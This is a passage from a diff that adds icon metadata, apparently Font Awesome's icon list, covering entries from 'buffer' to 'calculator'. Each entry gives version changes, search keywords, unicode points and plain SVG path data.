251.776V279.821c32.772 0 133.127-9.138 133.127 53.255-.001 60.186-100.355 53.253-133.127 53.253z" + } + }, + "free": [ + "brands" + ] + }, + "buffer": { + "changes": [ + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f837", + "label": "Buffer", + "svg": { + "brands": { + "last_modified": 1558987775894, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M427.84 380.67l-196.5 97.82a18.6 18.6 0 0 1-14.67 0L20.16 380.67c-4-2-4-5.28 0-7.29L67.22 350a18.65 18.65 0 0 1 14.69 0l134.76 67a18.51 18.51 0 0 0 14.67 0l134.76-67a18.62 18.62 0 0 1 14.68 0l47.06 23.43c4.05 1.96 4.05 5.24 0 7.24zm0-136.53l-47.06-23.43a18.62 18.62 0 0 0-14.68 0l-134.76 67.08a18.68 18.68 0 0 1-14.67 0L81.91 220.71a18.65 18.65 0 0 0-14.69 0l-47.06 23.43c-4 2-4 5.29 0 7.31l196.51 97.8a18.6 18.6 0 0 0 14.67 0l196.5-97.8c4.05-2.02 4.05-5.3 0-7.31zM20.16 130.42l196.5 90.29a20.08 20.08 0 0 0 14.67 0l196.51-90.29c4-1.86 4-4.89 0-6.74L231.33 33.4a19.88 19.88 0 0 0-14.67 0l-196.5 90.28c-4.05 1.85-4.05 4.88 0 6.74z\" class=\"a\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M427.84 380.67l-196.5 97.82a18.6 18.6 0 0 1-14.67 0L20.16 380.67c-4-2-4-5.28 0-7.29L67.22 350a18.65 18.65 0 0 1 14.69 0l134.76 67a18.51 18.51 0 0 0 14.67 0l134.76-67a18.62 18.62 0 0 1 14.68 0l47.06 23.43c4.05 1.96 4.05 5.24 0 7.24zm0-136.53l-47.06-23.43a18.62 18.62 0 0 0-14.68 0l-134.76 67.08a18.68 18.68 0 0 1-14.67 0L81.91 220.71a18.65 18.65 0 0 0-14.69 0l-47.06 23.43c-4 2-4 5.29 0 7.31l196.51 97.8a18.6 18.6 0 0 0 14.67 0l196.5-97.8c4.05-2.02 4.05-5.3 0-7.31zM20.16 130.42l196.5 90.29a20.08 20.08 0 0 0 14.67 0l196.51-90.29c4-1.86 4-4.89 0-6.74L231.33 33.4a19.88 19.88 0 0 0-14.67 0l-196.5 90.28c-4.05 1.85-4.05 4.88 0 6.74z" + } + }, + "free": [ + "brands" + ] + }, + "bug": { + "changes": [ + "3.2", + "5.0.0", + "5.15.4" + ], + "ligatures": [], + "search": { + "terms": [ + "beetle", + "error", + "insect", + "report" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f188", + "label": "Bug", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635366, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M511.988 288.9c-.478 17.43-15.217 31.1-32.653 31.1H424v16c0 21.864-4.882 42.584-13.6 61.145l60.228 60.228c12.496 12.497 12.496 32.758 0 45.255-12.498 12.497-32.759 12.496-45.256 0l-54.736-54.736C345.886 467.965 314.351 480 280 480V236c0-6.627-5.373-12-12-12h-24c-6.627 0-12 5.373-12 12v244c-34.351 0-65.886-12.035-90.636-32.108l-54.736 54.736c-12.498 12.497-32.759 12.496-45.256 0-12.496-12.497-12.496-32.758 0-45.255l60.228-60.228C92.882 378.584 88 357.864 88 336v-16H32.666C15.23 320 .491 306.33.013 288.9-.484 270.816 14.028 256 32 256h56v-58.745l-46.628-46.628c-12.496-12.497-12.496-32.758 0-45.255 12.498-12.497 32.758-12.497 45.256 0L141.255 160h229.489l54.627-54.627c12.498-12.497 32.758-12.497 45.256 0 12.496 12.497 12.496 32.758 0 45.255L424 197.255V256h56c17.972 0 32.484 14.816 31.988 32.9zM257 0c-61.856 0-112 50.144-112 112h224C369 50.144 318.856 0 257 0z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M511.988 288.9c-.478 17.43-15.217 31.1-32.653 31.1H424v16c0 21.864-4.882 42.584-13.6 61.145l60.228 60.228c12.496 12.497 12.496 32.758 0 45.255-12.498 12.497-32.759 12.496-45.256 0l-54.736-54.736C345.886 467.965 314.351 480 280 480V236c0-6.627-5.373-12-12-12h-24c-6.627 0-12 5.373-12 12v244c-34.351 0-65.886-12.035-90.636-32.108l-54.736 54.736c-12.498 12.497-32.759 12.496-45.256 0-12.496-12.497-12.496-32.758 0-45.255l60.228-60.228C92.882 378.584 88 357.864 88 336v-16H32.666C15.23 320 .491 306.33.013 288.9-.484 270.816 14.028 256 32 256h56v-58.745l-46.628-46.628c-12.496-12.497-12.496-32.758 0-45.255 12.498-12.497 32.758-12.497 45.256 0L141.255 160h229.489l54.627-54.627c12.498-12.497 32.758-12.497 45.256 0 12.496 12.497 12.496 32.758 0 45.255L424 197.255V256h56c17.972 0 32.484 14.816 31.988 32.9zM257 0c-61.856 0-112 50.144-112 112h224C369 50.144 318.856 0 257 0z" + } + }, + "free": [ + "solid" + ] + }, + "building": { + "changes": [ + "4.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "apartment", + "business", + "city", + "company", + "office", + "work" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f1ad", + "label": "Building", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635367, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M436 480h-20V24c0-13.255-10.745-24-24-24H56C42.745 0 32 10.745 32 24v456H12c-6.627 0-12 5.373-12 12v20h448v-20c0-6.627-5.373-12-12-12zM128 76c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v40c0 6.627-5.373 12-12 12h-40c-6.627 0-12-5.373-12-12V76zm0 96c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v40c0 6.627-5.373 12-12 12h-40c-6.627 0-12-5.373-12-12v-40zm52 148h-40c-6.627 0-12-5.373-12-12v-40c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v40c0 6.627-5.373 12-12 12zm76 160h-64v-84c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v84zm64-172c0 6.627-5.373 12-12 12h-40c-6.627 0-12-5.373-12-12v-40c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v40zm0-96c0 6.627-5.373 12-12 12h-40c-6.627 0-12-5.373-12-12v-40c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v40zm0-96c0 6.627-5.373 12-12 12h-40c-6.627 0-12-5.373-12-12V76c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v40z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M436 480h-20V24c0-13.255-10.745-24-24-24H56C42.745 0 32 10.745 32 24v456H12c-6.627 0-12 5.373-12 12v20h448v-20c0-6.627-5.373-12-12-12zM128 76c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v40c0 6.627-5.373 12-12 12h-40c-6.627 0-12-5.373-12-12V76zm0 96c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v40c0 6.627-5.373 12-12 12h-40c-6.627 0-12-5.373-12-12v-40zm52 148h-40c-6.627 0-12-5.373-12-12v-40c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v40c0 6.627-5.373 12-12 12zm76 160h-64v-84c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v84zm64-172c0 6.627-5.373 12-12 12h-40c-6.627 0-12-5.373-12-12v-40c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v40zm0-96c0 6.627-5.373 12-12 12h-40c-6.627 0-12-5.373-12-12v-40c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v40zm0-96c0 6.627-5.373 12-12 12h-40c-6.627 0-12-5.373-12-12V76c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v40z" + }, + "regular": { + "last_modified": 1628088634703, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M128 148v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12zm140 12h40c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12zm-128 96h40c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12zm128 0h40c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12zm-76 84v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12zm76 12h40c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12zm180 124v36H0v-36c0-6.6 5.4-12 12-12h19.5V24c0-13.3 10.7-24 24-24h337c13.3 0 24 10.7 24 24v440H436c6.6 0 12 5.4 12 12zM79.5 463H192v-67c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v67h112.5V49L80 48l-.5 415z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M128 148v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12zm140 12h40c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12zm-128 96h40c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12zm128 0h40c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12zm-76 84v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12zm76 12h40c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12zm180 124v36H0v-36c0-6.6 5.4-12 12-12h19.5V24c0-13.3 10.7-24 24-24h337c13.3 0 24 10.7 24 24v440H436c6.6 0 12 5.4 12 12zM79.5 463H192v-67c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v67h112.5V49L80 48l-.5 415z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "bullhorn": { + "changes": [ + "2", + "5.0.0", + "5.3.0" + ], + "ligatures": [], + "search": { + "terms": [ + "announcement", + "broadcast", + "louder", + "megaphone", + "share" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f0a1", + "label": "bullhorn", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635367, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M576 240c0-23.63-12.95-44.04-32-55.12V32.01C544 23.26 537.02 0 512 0c-7.12 0-14.19 2.38-19.98 7.02l-85.03 68.03C364.28 109.19 310.66 128 256 128H64c-35.35 0-64 28.65-64 64v96c0 35.35 28.65 64 64 64h33.7c-1.39 10.48-2.18 21.14-2.18 32 0 39.77 9.26 77.35 25.56 110.94 5.19 10.69 16.52 17.06 28.4 17.06h74.28c26.05 0 41.69-29.84 25.9-50.56-16.4-21.52-26.15-48.36-26.15-77.44 0-11.11 1.62-21.79 4.41-32H256c54.66 0 108.28 18.81 150.98 52.95l85.03 68.03a32.023 32.023 0 0 0 19.98 7.02c24.92 0 32-22.78 32-32V295.13C563.05 284.04 576 263.63 576 240zm-96 141.42l-33.05-26.44C392.95 311.78 325.12 288 256 288v-96c69.12 0 136.95-23.78 190.95-66.98L480 98.58v282.84z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M576 240c0-23.63-12.95-44.04-32-55.12V32.01C544 23.26 537.02 0 512 0c-7.12 0-14.19 2.38-19.98 7.02l-85.03 68.03C364.28 109.19 310.66 128 256 128H64c-35.35 0-64 28.65-64 64v96c0 35.35 28.65 64 64 64h33.7c-1.39 10.48-2.18 21.14-2.18 32 0 39.77 9.26 77.35 25.56 110.94 5.19 10.69 16.52 17.06 28.4 17.06h74.28c26.05 0 41.69-29.84 25.9-50.56-16.4-21.52-26.15-48.36-26.15-77.44 0-11.11 1.62-21.79 4.41-32H256c54.66 0 108.28 18.81 150.98 52.95l85.03 68.03a32.023 32.023 0 0 0 19.98 7.02c24.92 0 32-22.78 32-32V295.13C563.05 284.04 576 263.63 576 240zm-96 141.42l-33.05-26.44C392.95 311.78 325.12 288 256 288v-96c69.12 0 136.95-23.78 190.95-66.98L480 98.58v282.84z" + } + }, + "free": [ + "solid" + ] + }, + "bullseye": { + "changes": [ + "3.1", + "5.0.0", + "5.3.0", + "5.10.1", + "5.15.4" + ], + "ligatures": [], + "search": { + "terms": [ + "archery", + "goal", + "objective", + "target" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f140", + "label": "Bullseye", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635368, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm0 432c-101.69 0-184-82.29-184-184 0-101.69 82.29-184 184-184 101.69 0 184 82.29 184 184 0 101.69-82.29 184-184 184zm0-312c-70.69 0-128 57.31-128 128s57.31 128 128 128 128-57.31 128-128-57.31-128-128-128zm0 192c-35.29 0-64-28.71-64-64s28.71-64 64-64 64 28.71 64 64-28.71 64-64 64z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm0 432c-101.69 0-184-82.29-184-184 0-101.69 82.29-184 184-184 101.69 0 184 82.29 184 184 0 101.69-82.29 184-184 184zm0-312c-70.69 0-128 57.31-128 128s57.31 128 128 128 128-57.31 128-128-57.31-128-128-128zm0 192c-35.29 0-64-28.71-64-64s28.71-64 64-64 64 28.71 64 64-28.71 64-64 64z" + } + }, + "free": [ + "solid" + ] + }, + "burn": { + "changes": [ + "5.0.7" + ], + "ligatures": [], + "search": { + "terms": [ + "caliente", + "energy", + "fire", + "flame", + "gas", + "heat", + "hot" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f46a", + "label": "Burn", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635369, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M192 0C79.7 101.3 0 220.9 0 300.5 0 425 79 512 192 512s192-87 192-211.5c0-79.9-80.2-199.6-192-300.5zm0 448c-56.5 0-96-39-96-94.8 0-13.5 4.6-61.5 96-161.2 91.4 99.7 96 147.7 96 161.2 0 55.8-39.5 94.8-96 94.8z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M192 0C79.7 101.3 0 220.9 0 300.5 0 425 79 512 192 512s192-87 192-211.5c0-79.9-80.2-199.6-192-300.5zm0 448c-56.5 0-96-39-96-94.8 0-13.5 4.6-61.5 96-161.2 91.4 99.7 96 147.7 96 161.2 0 55.8-39.5 94.8-96 94.8z" + } + }, + "free": [ + "solid" + ] + }, + "buromobelexperte": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f37f", + "label": "Büromöbel-Experte GmbH & Co. KG.", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860970, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 32v128h128V32H0zm120 120H8V40h112v112zm40-120v128h128V32H160zm120 120H168V40h112v112zm40-120v128h128V32H320zm120 120H328V40h112v112zM0 192v128h128V192H0zm120 120H8V200h112v112zm40-120v128h128V192H160zm120 120H168V200h112v112zm40-120v128h128V192H320zm120 120H328V200h112v112zM0 352v128h128V352H0zm120 120H8V360h112v112zm40-120v128h128V352H160zm120 120H168V360h112v112zm40-120v128h128V352H320z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M0 32v128h128V32H0zm120 120H8V40h112v112zm40-120v128h128V32H160zm120 120H168V40h112v112zm40-120v128h128V32H320zm120 120H328V40h112v112zM0 192v128h128V192H0zm120 120H8V200h112v112zm40-120v128h128V192H160zm120 120H168V200h112v112zm40-120v128h128V192H320zm120 120H328V200h112v112zM0 352v128h128V352H0zm120 120H8V360h112v112zm40-120v128h128V352H160zm120 120H168V360h112v112zm40-120v128h128V352H320z" + } + }, + "free": [ + "brands" + ] + }, + "bus": { + "changes": [ + "4.2", + "5.0.0", + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "public transportation", + "transportation", + "travel", + "vehicle" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f207", + "label": "Bus", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635370, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M488 128h-8V80c0-44.8-99.2-80-224-80S32 35.2 32 80v48h-8c-13.25 0-24 10.74-24 24v80c0 13.25 10.75 24 24 24h8v160c0 17.67 14.33 32 32 32v32c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-32h192v32c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-32h6.4c16 0 25.6-12.8 25.6-25.6V256h8c13.25 0 24-10.75 24-24v-80c0-13.26-10.75-24-24-24zM112 400c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm16-112c-17.67 0-32-14.33-32-32V128c0-17.67 14.33-32 32-32h256c17.67 0 32 14.33 32 32v128c0 17.67-14.33 32-32 32H128zm272 112c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M488 128h-8V80c0-44.8-99.2-80-224-80S32 35.2 32 80v48h-8c-13.25 0-24 10.74-24 24v80c0 13.25 10.75 24 24 24h8v160c0 17.67 14.33 32 32 32v32c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-32h192v32c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-32h6.4c16 0 25.6-12.8 25.6-25.6V256h8c13.25 0 24-10.75 24-24v-80c0-13.26-10.75-24-24-24zM112 400c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm16-112c-17.67 0-32-14.33-32-32V128c0-17.67 14.33-32 32-32h256c17.67 0 32 14.33 32 32v128c0 17.67-14.33 32-32 32H128zm272 112c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z" + } + }, + "free": [ + "solid" + ] + }, + "bus-alt": { + "changes": [ + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "mta", + "public transportation", + "transportation", + "travel", + "vehicle" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f55e", + "label": "Bus Alt", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635369, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M488 128h-8V80c0-44.8-99.2-80-224-80S32 35.2 32 80v48h-8c-13.25 0-24 10.74-24 24v80c0 13.25 10.75 24 24 24h8v160c0 17.67 14.33 32 32 32v32c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-32h192v32c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-32h6.4c16 0 25.6-12.8 25.6-25.6V256h8c13.25 0 24-10.75 24-24v-80c0-13.26-10.75-24-24-24zM160 72c0-4.42 3.58-8 8-8h176c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H168c-4.42 0-8-3.58-8-8V72zm-48 328c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm128-112H128c-17.67 0-32-14.33-32-32v-96c0-17.67 14.33-32 32-32h112v160zm32 0V128h112c17.67 0 32 14.33 32 32v96c0 17.67-14.33 32-32 32H272zm128 112c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M488 128h-8V80c0-44.8-99.2-80-224-80S32 35.2 32 80v48h-8c-13.25 0-24 10.74-24 24v80c0 13.25 10.75 24 24 24h8v160c0 17.67 14.33 32 32 32v32c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-32h192v32c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-32h6.4c16 0 25.6-12.8 25.6-25.6V256h8c13.25 0 24-10.75 24-24v-80c0-13.26-10.75-24-24-24zM160 72c0-4.42 3.58-8 8-8h176c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H168c-4.42 0-8-3.58-8-8V72zm-48 328c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm128-112H128c-17.67 0-32-14.33-32-32v-96c0-17.67 14.33-32 32-32h112v160zm32 0V128h112c17.67 0 32 14.33 32 32v96c0 17.67-14.33 32-32 32H272zm128 112c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z" + } + }, + "free": [ + "solid" + ] + }, + "business-time": { + "changes": [ + "5.3.0" + ], + "ligatures": [], + "search": { + "terms": [ + "alarm", + "briefcase", + "business socks", + "clock", + "flight of the conchords", + "reminder", + "wednesday" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f64a", + "label": "Business Time", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635370, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M496 224c-79.59 0-144 64.41-144 144s64.41 144 144 144 144-64.41 144-144-64.41-144-144-144zm64 150.29c0 5.34-4.37 9.71-9.71 9.71h-60.57c-5.34 0-9.71-4.37-9.71-9.71v-76.57c0-5.34 4.37-9.71 9.71-9.71h12.57c5.34 0 9.71 4.37 9.71 9.71V352h38.29c5.34 0 9.71 4.37 9.71 9.71v12.58zM496 192c5.4 0 10.72.33 16 .81V144c0-25.6-22.4-48-48-48h-80V48c0-25.6-22.4-48-48-48H176c-25.6 0-48 22.4-48 48v48H48c-25.6 0-48 22.4-48 48v80h395.12c28.6-20.09 63.35-32 100.88-32zM320 96H192V64h128v32zm6.82 224H208c-8.84 0-16-7.16-16-16v-48H0v144c0 25.6 22.4 48 48 48h291.43C327.1 423.96 320 396.82 320 368c0-16.66 2.48-32.72 6.82-48z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M496 224c-79.59 0-144 64.41-144 144s64.41 144 144 144 144-64.41 144-144-64.41-144-144-144zm64 150.29c0 5.34-4.37 9.71-9.71 9.71h-60.57c-5.34 0-9.71-4.37-9.71-9.71v-76.57c0-5.34 4.37-9.71 9.71-9.71h12.57c5.34 0 9.71 4.37 9.71 9.71V352h38.29c5.34 0 9.71 4.37 9.71 9.71v12.58zM496 192c5.4 0 10.72.33 16 .81V144c0-25.6-22.4-48-48-48h-80V48c0-25.6-22.4-48-48-48H176c-25.6 0-48 22.4-48 48v48H48c-25.6 0-48 22.4-48 48v80h395.12c28.6-20.09 63.35-32 100.88-32zM320 96H192V64h128v32zm6.82 224H208c-8.84 0-16-7.16-16-16v-48H0v144c0 25.6 22.4 48 48 48h291.43C327.1 423.96 320 396.82 320 368c0-16.66 2.48-32.72 6.82-48z" + } + }, + "free": [ + "solid" + ] + }, + "buy-n-large": { + "changes": [ + "5.11.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f8a6", + "label": "Buy n Large", + "svg": { + "brands": { + "last_modified": 1568817883851, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M288 32C133.27 32 7.79 132.32 7.79 256S133.27 480 288 480s280.21-100.32 280.21-224S442.73 32 288 32zm-85.39 357.19L64.1 390.55l77.25-290.74h133.44c63.15 0 84.93 28.65 78 72.84a60.24 60.24 0 0 1-1.5 6.85 77.39 77.39 0 0 0-17.21-1.93c-42.35 0-76.69 33.88-76.69 75.65 0 37.14 27.14 68 62.93 74.45-18.24 37.16-56.16 60.92-117.71 61.52zM358 207.11h32l-22.16 90.31h-35.41l-11.19-35.63-7.83 35.63h-37.83l26.63-90.31h31.34l15 36.75zm145.86 182.08H306.79L322.63 328a78.8 78.8 0 0 0 11.47.83c42.34 0 76.69-33.87 76.69-75.65 0-32.65-21-60.46-50.38-71.06l21.33-82.35h92.5l-53.05 205.36h103.87zM211.7 269.39H187l-13.8 56.47h24.7c16.14 0 32.11-3.18 37.94-26.65 5.56-22.31-7.99-29.82-24.14-29.82zM233 170h-21.34L200 217.71h21.37c18 0 35.38-14.64 39.21-30.14C265.23 168.71 251.07 170 233 170z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M288 32C133.27 32 7.79 132.32 7.79 256S133.27 480 288 480s280.21-100.32 280.21-224S442.73 32 288 32zm-85.39 357.19L64.1 390.55l77.25-290.74h133.44c63.15 0 84.93 28.65 78 72.84a60.24 60.24 0 0 1-1.5 6.85 77.39 77.39 0 0 0-17.21-1.93c-42.35 0-76.69 33.88-76.69 75.65 0 37.14 27.14 68 62.93 74.45-18.24 37.16-56.16 60.92-117.71 61.52zM358 207.11h32l-22.16 90.31h-35.41l-11.19-35.63-7.83 35.63h-37.83l26.63-90.31h31.34l15 36.75zm145.86 182.08H306.79L322.63 328a78.8 78.8 0 0 0 11.47.83c42.34 0 76.69-33.87 76.69-75.65 0-32.65-21-60.46-50.38-71.06l21.33-82.35h92.5l-53.05 205.36h103.87zM211.7 269.39H187l-13.8 56.47h24.7c16.14 0 32.11-3.18 37.94-26.65 5.56-22.31-7.99-29.82-24.14-29.82zM233 170h-21.34L200 217.71h21.37c18 0 35.38-14.64 39.21-30.14C265.23 168.71 251.07 170 233 170z" + } + }, + "free": [ + "brands" + ] + }, + "buysellads": { + "changes": [ + "4.3", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f20d", + "label": "BuySellAds", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860970, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224 150.7l42.9 160.7h-85.8L224 150.7zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-65.3 325.3l-94.5-298.7H159.8L65.3 405.3H156l111.7-91.6 24.2 91.6h90.8z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M224 150.7l42.9 160.7h-85.8L224 150.7zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-65.3 325.3l-94.5-298.7H159.8L65.3 405.3H156l111.7-91.6 24.2 91.6h90.8z" + } + }, + "free": [ + "brands" + ] + }, + "calculator": { + "changes": [ + "4.2", + "5.0.0", + "5.3.0", + "5.11.0" + ], + "ligatures": [], + "search": { + "terms": [ + "abacus", + "addition", + "arithmetic", + "counting", + "math", + "multiplication", + "subtraction" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f1ec", + "label": "Calculator", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635371, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 0H48C22.4 0 0 22.4 0 48v416c0 25.6 22.4 48 48 48h352c25.6 0 48-22.4 48-48V48c0-25.6-22.4-48-48-48zM128 435.2c0 6.4-6.4 12.8-12.8 12.8H76.8c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4zm0-128c0 6.4-6.4 12.8-12.8 12.8H76.8c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4zm128 128c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4zm0-128c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4zm128 128c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 